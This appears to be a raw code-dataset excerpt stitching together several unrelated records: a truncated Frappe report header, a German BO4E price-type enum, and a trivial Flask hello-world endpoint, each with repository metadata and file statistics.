# Copyright (c) 2013, Frappe Technologies Pvt. Ltd. and contributors # For license information, please see license.txt from __future__ import unicode_literals import frappe from frappe import _ from frappe.utils import add_to_date, getdate, get_datetime time_slots = { '12AM - 3AM': '00:00:00-03:00:00', '3AM - 6AM':...
27.885417
94
0.663056
90ad7e9669d3cdd68740f94e2ddf391ca69cd7d0
802
py
Python
src/bo4e/enum/preistyp.py
bo4e/BO4E-python
28b12f853c8a496d14b133759b7aa2d6661f79a0
[ "MIT" ]
1
2022-03-02T12:49:44.000Z
2022-03-02T12:49:44.000Z
src/bo4e/enum/preistyp.py
bo4e/BO4E-python
28b12f853c8a496d14b133759b7aa2d6661f79a0
[ "MIT" ]
21
2022-02-04T07:38:46.000Z
2022-03-28T14:01:53.000Z
src/bo4e/enum/preistyp.py
bo4e/BO4E-python
28b12f853c8a496d14b133759b7aa2d6661f79a0
[ "MIT" ]
null
null
null
# pylint: disable=missing-module-docstring from bo4e.enum.strenum import StrEnum class Preistyp(StrEnum): """ Aufschlüsselung der Preistypen in Tarifen. """ GRUNDPREIS = "GRUNDPREIS" #: Grundpreis ARBEITSPREIS_EINTARIF = "ARBEITSPREIS_EINTARIF" #: Arbeitspreis_ET ARBEITSPREIS_HT = "ARBEITSP...
40.1
109
0.73192
291be3b2bf415c2f5acb876fcbf89e139fb914d2
118
py
Python
fuzzsvc/controller/Hello.py
ifoundthetao/FuzzFlow
86559ac7f85fc89510c0d9647e02880edb95aa2a
[ "MIT" ]
53
2016-08-26T02:51:45.000Z
2021-05-24T21:05:44.000Z
controller/Hello.py
FingerLeakers/FuzzFlow
3f2de617c3658904f9640f53a05d5e4e90634e32
[ "MIT" ]
null
null
null
controller/Hello.py
FingerLeakers/FuzzFlow
3f2de617c3658904f9640f53a05d5e4e90634e32
[ "MIT" ]
31
2016-08-26T04:08:31.000Z
2021-05-24T21:05:54.000Z
from flask_restful import Resource class HelloCtrl(Resource): def get(self): return {'hello': 'world'}
14.75
34
0.669492